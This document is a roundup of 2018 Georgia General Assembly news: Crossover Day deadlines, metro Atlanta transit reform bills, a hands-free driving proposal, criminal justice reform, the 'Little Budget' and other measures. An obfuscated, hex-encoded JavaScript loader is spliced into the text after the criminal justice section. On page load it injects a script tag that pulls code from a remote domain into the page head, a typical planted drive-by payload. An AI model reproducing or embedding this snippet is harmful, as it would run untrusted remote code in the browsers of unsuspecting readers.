Crossover Day countdown for transit reform, criminal justice reform, and distracted driving

The Georgia General Assembly will enter on Monday one of the session’s most turbulent periods, a half-way point scramble by which all bills must have cleared their originating chamber if they are to be eligible for full passage this year.

The approach of Crossover Day, whose Feb. 28 threshold was inched up by two days from last year amid a desire from Senate leadership to expedite the legislative year, will trigger a marathon of activity by leadership in both chambers to keep on track the session’s priority proposals.

Here’s what we’re watching before Wednesday hard stop:

Transit reform
The years-long effort to reshape transportation services throughout metropolitan Atlanta faces an important test Wednesday, as neither of the two GOP-led transit reform companion bills have passed their respective houses.

The House and Senate Transportation committees last week gave the green light to the bills, which provide for the financing of new transit projects through the creation of a handful of new taxes, including fees and goods sold at the airports in Atlanta and Savannah and another on taxi and ride-hailing fares. The proposals would also recast the Georgia Regional Transportation Authority as the Atlanta-region Transit Link, or ATL, and empower it govern transit planning in the 13 metro counties with the hope of inspiring greater regional cooperation.

Distracted driving
There’s an effort underway in the House to make Georgia the 16th state in the nation to ban drivers from holding their phones while driving, eliminating alleged enforcement confusion because, while it’s already illegal to text while driving, it remains legal to dial the phone.

The proposal passed out of a House committee last week and awaits debate on the full floor.

Criminal justice
The final pieces of outgoing Governor Nathan Deal’s years-long initiative to reform the state’s criminal justice system is bumping up against the Crossover Day barrier to adoption, but is expected to clear the hurdle just in time.

The governor’s latest criminal justice reform package includes a proposal that would endow state judges with more power to forego cash bail for low-income, non-violent offenders and more options to impose community service instead. The bill is expected to come up for a vote in the Senate on Monday morning. var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)

Ga. House OK’s 2018 ‘Little Budget’

The Georgia House of Representatives approved last week a midyear spending bill to make use of additional revenues for fiscal year 2018, appropriating more than $300 million in new money.

The supplemental budget, known around the capitol as the “Little Budget,” will keep state agencies and offices running through June 30, when a new fiscal year will begin.

More than a third of the newly apportioned revenue will go to public schools and colleges. Other tens of millions will be directed to health care programs serving poor Georgians.

The so-called Little Budget now goes to the Senate for consideration, and its eminent passage brings the General Assembly one step closer to addressing and completing its singular constitutional obligation: passing a balanced spending plan, known as the Big Budget, for the next fiscal year.

Elsewhere in the capitol …

A House education subcommittee green lighted a proposal to address supplemental funding inequities for charter schools across the state, while another committee approved legislation providing for a new sales tax exemption to help pay for a potential expansion by the Georgia Aquarium.

Senator Brandon Beach has introduced his long-awaited transit reform bill, which would create new transit funding mechanisms through an optional local sales tax. The stipulates that MARTA would operate any service funded by the new tax. Specifically, the bill would:

  • Provide for a 1% Transit SPLOST and excluding that tax from the 2% cap;
  • Allow counties to fund transit projects within their jurisdiction, subject to approval of those projects by the Commission, and referenda would be carried out in accordance with other such SPLOSTs.  Approved projects would then be evaluated and prioritized by the local jurisdictions affected in conjunction with MARTA.  Local jurisdictions will also have the option to execute intergovernmental agreements with MARTA under which MARTA would assume control of future transit services.  For all intents and purposes, this bill would appear to impact 13 metro Atlanta counties: Cherokee, Clayton, Coweta, Cobb, DeKalb, Douglas, Fayette, Forsyth, Fulton, Gwinnett, Henry, Paulding, and Rockdale; and
  • Create the Atlanta-region Transit Link “ATL” Commission as a new division under the Georgia Regional Transportation Commission. The purpose of this Commission is to plan and coordinate the provision of transit services, the establishment of transit facilities, and the funding of those purposes throughout its jurisdiction. This jurisdiction consists of any county which has approved a MARTA tax or any county which has approved a Transit SPLOST.  Initially the Commission would consist of 11 members.

Spurred by recommendations from House Rural Development Council, legislation has been introduced in the House that would finance the cost of developing rural broadband with a new tax on digital content streaming services like Netflix.

Ga. House, Senate leadership agree to crossover, sine die dates

The General Assembly’s pace quickened last week after a sluggish start to session, stalled in part by unusual winter weather and a shortage of essential legislative priorities.

After earlier sparring over an adjournment resolution that could have split the two chamber’s work calendars, leadership from the House and Senate agreed to a time table for the remainder of the 2018 session.

The consensus calendar encircled Feb. 28 as crossover day—the point by which any bill must have been green lighted by at least once chamber to remain viable—and March 29 as the final day of session. Leadership has pledged it will adjourn no later than midnight on sine die (from the Latin “without day”), as has occurred in recent years.

Elsewhere under the Gold Dome …

Senator David Shafer, a Republican vying for the open Lt. Governor’s post, has proposed an amendment to the Georgia constitution that would declare English as the official language of the state.

An omnibus health care bill based in part on the policy recommendations of the House Rural Development Council is expected to be dropped this week. The measure is said to include a provision tinkering with the state’s certificate-of-need framework, but won’t repeal the hospital rule in urban areas as was proposed last year by the Council.

Legislation to propose a new structure for the governance and funding of transit in the metro Atlanta area are being finalized and will likely be introduced this week or next.

A bipartisan group of senators are backing legislation to reduce Georgia Power’s profits on the multi-billion dollar Plant Vogtle nuclear facility by restricting the so-called nuclear tariff the utility has been charging customers’ since 2011 to finance the project. Under the bill, Georgia Power would no longer be allowed to charge the financing fee on parts of the notoriously laggard project that had fallen behind the original schedule.

The Senate voted 49-0 last week to approve a raft of technical adjustments to the state’s garnishment law, which was overhauled two years earlier amid a rebuke by federal courts. The updates would bring the state code into alignment with federal garnishment rules.